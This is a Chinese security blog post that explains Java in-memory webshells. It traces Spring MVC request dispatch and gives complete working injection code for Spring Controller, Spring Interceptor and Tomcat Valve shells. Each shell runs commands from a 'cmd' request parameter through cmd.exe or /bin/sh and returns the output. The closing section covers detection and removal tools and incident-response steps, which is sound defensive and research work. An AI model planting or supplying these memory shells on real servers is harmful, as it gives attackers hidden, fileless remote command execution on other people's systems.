xiao1star2026-01-12文章来源:SecHub网络安全社区
借助的是java文件
源码下载地址
GitHub - dk47os3r/SpringMemShell: Spring内存马检测和隐形马研究https://github.com/dk47os3r/SpringMemShell
首先简单创建一个Spring项目,在这里打上断点,然后访问/api这个路由

接着来到DispatcherServlet类下的doDispatch方法

这个方法它的主要职责是处理 HTTP 请求并将请求分发给合适的处理器,然后进行处理,最后生成响应,我们可以看到红框中的内容调用ha.handle方法用于这个处理器进行请求的处理

可以看到这个mappedHandler中的handler属性中存储着ApiController类中的相关信息,那么我们就看看这mappedHandler是从哪里来的

可以看到是调用了getHandler方法获取到的

接着就来到getHandler方法中,可以看到是遍历了一个handlerMappings(用于将请求映射到处理器),接着就从handlerMappings中找到与request对应的处理器,若找到了就返回该处理器

可以看一下这个handlerMappings其实是来自于HandlerMapping这个接口

本人用百度翻译了一些注释,其实这个接口定义了请求和处理程序对象之间映射的关系,而我们前面的handlerMappings就是存储了里面对应的关系

接着我们回到这个getHandler中可以看到,又调用了HandlerMapping的getHandler

我们来到这个方法中,查看其实现的类中,接着就来到AbstractHandlerMapping类中

在该方法中有调用了getHandlerInternal来获取handler

接着就来到RequestMappinginfoHandlerMapping中

可以看到又调用了其父类的getHandlerInternal方法

最后就来到了AbstractHandlerMethodMapping类的getHandlerInternal方法中,首先是调用initLookupPath获取到获取请求的路径(去除上下文路径和 Servlet 路径)用于匹配 @RequestMapping 中定义的路径,接着获取到mappingRegistry的读锁,然后调用lookupHandlerMethod方法获取到对应的处理器方法

我们来到lookupHandlerMethod方法中,它首先通过this.mappingRegistry.getMappingsByDirectPath查找匹配的地址,若找到了的话,就调用addMatchingMappings方法将其添加到Match队列中,然后就是Match队列的校验了,如果为空,就用mappingRegistry.getRegistrations()注册,Match集合不为空则从Match集合中找到最匹配的Match对象,并返回该Match对象的HandlerMethod对象。

可以看到我们获取到directPathMatches获取到的内容就是MappingRegistry中pathLookup属性中有关/api的信息

那我们想,如果我们在mappingRegitry这个Map数组中添加一个恶意的RequestMappinginfo(存储这我们恶意类的信息),当我们访问这个路由进而指向恶意类导致攻击的实现
那么接下来我们看看如何对这个mappingRegitry进行写入操作的,我们find Usages,在AbstractHandlerMethodMapping类的registerMaping中调用了register方法进行注册操作也就是一个写入操作

register方法的相关分析

但是还不能实例化这个类直接实现这个registerMapping方法,因为这是一个抽象类

我们就看其子类中是否有谁重写了这个方法,然后就来到了RequestMappingHandlerMapping类中

可以看到这个类继承了RequestMappingInfoHandlerMapping类,而RequestMappingInfoHandlerMapping类又继承了AbstractHandlerMethodMapping类(如图二所示)


我们看看这个registerMapping其中第一个参数是RequestMapingInfo对象,第二个参数是实例化的恶意类,第三个参数是恶意类中的恶意方法

接着我们就看看这个RequestMapingInfo的构造方法,这个构造方法用于创建一个RequestMappingInfo对象,封装了请求匹配的各种条件。每个参数都代表一种匹配条件,Spring MVC 在处理请求时会根据这些条件决定是否调用对应的处理器方法。如果某个参数为 null,表示该条件不参与匹配。这个构造方法呢共有7个参数


其中这不同参数所代表的内容如下所示
patterns:定义请求的路径匹配条件。
methods:定义请求的 HTTP 方法匹配条件。表示允许的 HTTP 方法,例如 ``GET、POST 等。确保只有指定的方法被允许处理请求
params:定义请求参数的匹配条件。用于匹配请求中是否包含指定的参数,或者参数是否满足特定条件。
headers:定义请求头的匹配条件。
consumes:定义请求体的媒体类型(Content-Type)匹配条件。
produces:定义响应体的媒体类型(Accept)匹配条件。
custom:定义自定义的请求匹配条件。
在这里面最重要的是PatternsRequestCondition patterns,他是用于设置url路径的,例如我们设置这个这个Controller类的路径为/test,那么当我们访问/test就会来到该Controller类中进行一些请求的处理,其他可以设置为null,想创建也可以直接创建。
如下代码是实例化了一个RequestMappingInfo对象
PatternsRequestCondition url = new PatternsRequestCondition("/good");//url路径
RequestMappingInfo info = new RequestMappingInfo(url, null, null, null, null, null, null);
再往下就是如何创建一个RequestMappingHandlerMapping对象,进而调用registerMapping方法

在之前DispatcherServlet类中的这个getHandler类中可以看到这个handdlerMapping中有一个RequestMappingHandlerMapping类,我们就看看这个是如何获取的

我们直接查看哪里对handlerMapping进行了赋值操作

接着就来到了inithandlerMappings方法中,可以看到这个是从ApplicationContext中获取所有的HandlerMapping,可以看到在else语句中可以通过getBean来获取到handlerMapping,那么我们接下来在哪里获取到ApplicationContext呢

在之前的doService类中进行resquest设置的时候将webApplicationContext设置给了一个常量WEB_APPLICATION_CONTEXT_ATTRIBUTE,而这个WebApplication又继承了ApplicationContext,那么我们直接获取到webApplicationContext不就可以使用ApplicationContext中所有的方法了吗



//获取WebApplicationContext
WebApplicationContext webApplicationContext = (WebApplicationContext)RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE,0);
//获取RequestMappingHandlerMapping
RequestMappingHandlerMapping handler = webApplicationContext.getBean(RequestMappingHandlerMapping.class);
接着就直接调用RequestMappingHandlerMapping类的registerMapping方法进行注册操作,同时要注意参数的传递
InjectToController类–是我们的内存马代码
package exp;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class InjectToController {
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = InjectToController.class.getMethod("test");//恶意方法
PatternsRequestCondition url = new PatternsRequestCondition("/good");//url路径
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController("aaaa");//获取恶意类对象
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
public InjectToController(String aaa) {}
public void test() throws IOException{
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}
}
访问/test1文件就会实例化我们的恶意类,完成内存马写入到内存

访问/test1,将内存马写入到内存

访问/mappings成功发现了恶意类以及映射的url

访问/good?cmd=calc成功弹出计算器

首先一个interceptor拦截器需要继承HandlerInterceptor并且重写其preHandle方法
public class Myinterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
//执行cmd中的指令并将结果返回
String cmd = request.getParameter("cmd");
if(cmd!=null){
Process exec = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
String line;
while ((line = bufferedReader.readLine()) != null) {
response.getWriter().println(line);
}
return false;//进行拦截
}
System.out.println("preHandle");
return true;
}
}
接着还要写一个Config类来继承WebMvcConfigurer类来将这个拦截器添加进去同时指定要拦截的路径
@Configuration
@EnableWebMvc
public class Webconfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new Myinterceptor()).addPathPatterns("/my");
}
}

接下来就分析是如何将这个拦截器加载到这个项目中的,首先在preHandle上下断点开始调试

首先我们先看这个doDispatch方法

这个方法呢就是前面分析Controller内存马时,用于将目标请求对应到相应的Handler中

但是在其mappedHandler中除了有我们Controller中的handler,还有我们自己的interceptor,这个是在interceptorList当中,接下来我们就看我们自己的拦截器是如何添加到这个*interceptorList**中的,*那么首先我们就要看看哪里对mappedHandler进行了赋值操作

在1045行进行了赋值操作,我们在这里打上断点

步入到getHandler方法中并没有看到相关拦截器的操作,接着来到1265行步入看看

接着可以看到这个handler只是获取到了我们自己Controller的,并没有拦截器

接着我们一步步往下来,当调用getHandlerExecutionChain(handler, request)方法时发现成功获取到了我们自己的interceptor

接着我们就进入到该方法中,在该方法中可以看到在这个方法中会遍历adaptedInterceptors参数然后对其进行判断之后调用addInterceptor方法将其添加其中,那么我们就要看哪里对adaptedInterceptors进行了操作,我们只要将我们自己的拦截器添加到这个adaptedInterceptors即可

可以看到adaptedInterceptors属于一个List列表,那么我们只要实例化这个AbstractHandlerMapping然后添加即可,但是要注意这个类是一个抽象类,同时这个属性也是私有属性,但是我们前面也介绍了直接通过实例化RequestMappingHandlerMapping类就可以了,再利用反射获取到adaptedInterceptors即可

实现过程如下
//获取WebApplicationContext
WebApplicationContext webApplicationContext = (WebApplicationContext)RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE,0);
//获取handlermapping
RequestMappingHandlerMapping handler = webApplicationContext.getBean(RequestMappingHandlerMapping.class);
//利用反射获取adaptedInterceptors
Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptors.setAccessible(true);
List<HandlerInterceptor> adlist = (List<HandlerInterceptor>)adaptedInterceptors.get(handler);
adlist.add(new Myinterceptor());
return "inject success";
完整代码
public String aa() throws Exception {
//获取WebApplicationContext
WebApplicationContext webApplicationContext = (WebApplicationContext)RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE,0);
//获取handlermapping
RequestMappingHandlerMapping handler = webApplicationContext.getBean(RequestMappingHandlerMapping.class);
//利用反射获取adaptedInterceptors
Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptors.setAccessible(true);
List<HandlerInterceptor> adlist = (List<HandlerInterceptor>)adaptedInterceptors.get(handler);
adlist.add(new Myinterceptor());
return "inject success";
}
public class Myinterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws IOException {
String cmd = request.getParameter("cmd");
if(cmd!=null){
Process exec = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
String line;
while ((line = bufferedReader.readLine()) != null) {
response.getWriter().println(line);
}
return false;
}
System.out.println("preHandle");
return true;
}
}
访问/aa会实现恶意类的实例化,完成注入

接着输入我们的恶意指令

Valve就是一个阀门,是Tomcat中各个连接某些org.apache.catalina.Contained实例的责任链抽象接口
它的使用场景:能在更高层次(Filter甚至Host之前)处理Request和Response对象

从架构图我们能看到Engine,Host和Context之间有个Valve。

Pipeline就相当于管道,Tomcat 的每一层容器(Engine、Host、Context、Wrapper)都可以拥有自己的 Pipeline(管道),每个 Pipeline 由一组 Valve(阀门)组成,按顺序处理请求。每个Pipeline里面都有一个执行顺序位于最后的基础阀门,负责将请求传递到下层容器的Pipeline,同时我们又可以在每个管道中添加自定义的阀门。
创建一个tomcat项目,然后导入pom中导入如下依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.98</version><!-- 你自己的tomcat版本-->
</dependency>
可以看到在Pipeline接口中有一个addValve方法可以添加自定义的Valve

注意这个机制是Tomcat的仅有机制,并非像前面分析的Servlet内存马一样通用,同时其优先级要高于Servlet/Filter/Listener以及Spring的内存马
那么现在我们就需要利用这个Pipeline接口来添加一个自定义的Valve,那么我们怎么得到一个容器的Pipeline呢
可以看到在这个Container容器接口中可以看到有一个getPipeline方法,也就是说每个容器都会有这个方法

Ctrl+Shift+H可以看到其层次结构在Engine、Host、Context、Wrapper中都有调用这个方法

我们启动一个Servlet项目可以看到在项目运行时调用了一系列的Valve,可以看到里面有一个我们比较熟悉的StandardContextValve阀门

可以看到在这个类中继承了ValveBase类然后重写其Invoke方法然后调用了StandardContext对象获取到Pipeline

那么我们就可以获取到StandardContext对象(在前面Servlet内存马分析时有说到)然后调用getPipeline获取到Pipeline对象,接着调用addValve添加一个恶意的Valve类,这个类还继承了ValveBase 重写其invoke方法
完整代码
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
//恶意的阀门类需要继承ValveBase类
public class MainValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
}
}
%>
<%
//获取StandardContext
ServletContext servletContext = request.getServletContext();
Field ApplicationContextFiled = servletContext.getClass().getDeclaredField("context");
ApplicationContextFiled.setAccessible(true);
ApplicationContext applicationConetext = (ApplicationContext)ApplicationContextFiled.get(servletContext);//获取context属性值
Field standardContextFiled = applicationConetext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext context = (StandardContext) standardContextFiled.get(applicationConetext);
Pipeline pipeline = context.getPipeline();
pipeline.addValve(new MainValve());
%>
首先访问我们恶意jsp文件

接着输入恶意的指令

1.通过Java应用的接口,获取tomcat JVM里面加载的类
2.遍历所有的类,判断是否为风险类
a.内存注册,但是磁盘中没有文件
b.class文件中包含恶意代码
无法检测Spring和Agent内存
不支持低版本的tomcat,需要tomcat8以上的版本https://github.com/fany0r/java-memshell-scanner
下载完成后将tomcat-memshell-scanner.jsp访问到java项目中

访问http://localhost:8089/Tomcat_war/tomcat-memshell-scanner.jsp,可以看到得到检测出来的恶意内存马中Filter class File path框中都有xxx_jsp$xxx.Class


当我们输入cmd=dir就会弹出计算机

当我们点击kill按钮将其杀死,注意这里本人发现Listener的内存马杀不掉

再访问cmd1=dir发现就会不命令执行了

这是使用jdk中自带的工具
首先来到所下载的jdk(如果是多版本请选择当前项目所使用的java版本)的sa-jdi.jar的目录下,cmd命令输入java -cp .\sa-jdi.jar sun.jvm.hotspot.HSDB


接着查看当前运行的项目的进程号,我们运行的是Spring内存马的项目
输入jps -l查看,发现我们的进程号是15648

点击File->Attach to HotSpot process,输入15648

接着Tools->Class Browser

就可以一一排查项目中所有的Class类(包括已存在的内存马)


范围:任何实现了Servlet规范的中间件都可以查杀
https://github.com/4ra1n/shell-analyzer
需要java11的版本
在所在文件的目录下,新建一个bat
里面内容如下,用于指定java版本来运行该jar文件
@echo off
cmd /k "start D:\Java\jdk11\bin\java -jar gui-0.1.jar"


再次进行命令执行就无法执行了

首先要将agent.jar和remote-0.1.jar传到远程主机上

然后在远程主机上执行如下命令
linux
jdk1.8.0_202/bin/java -cp remote.jar:jdk1.8.0_202/lib/tools.jar com.chaitin.RemoteLoader 8323 xiaostar
windows
"D:\Java\jdk8\bin\java" -cp remote-0.1.jar;"D:\Java\jdk8\lib\tools.jar" com.n1ar4.RemoteLoader 8328 xiaostar

8328–代表远程主机对应的项目的进程号
xiaostar–是长度为8的token
接着在本地进行连接


该工具只能检测出Servlet中的内存马,我们这个文件中有Servlet内存马和Spring内存马

查杀结果

1.有文件情况
如果有文件,找到文件,确定内存马的路径,查看日志,
2.无文件情况
查找可疑路径,与开发协商是否是手册中存在的路径
不死内存马存在情况:计划任务、定时任务。查看这两种任务,若有可疑任务,删除任务,同时确定路径、确定文件是从哪个进来的,对入口点进行防御
内存马的自动分析与查杀https://www.cnblogs.com/slll/p/15937034.html
干货|冰蝎、哥斯拉 内存马应急排查方式汇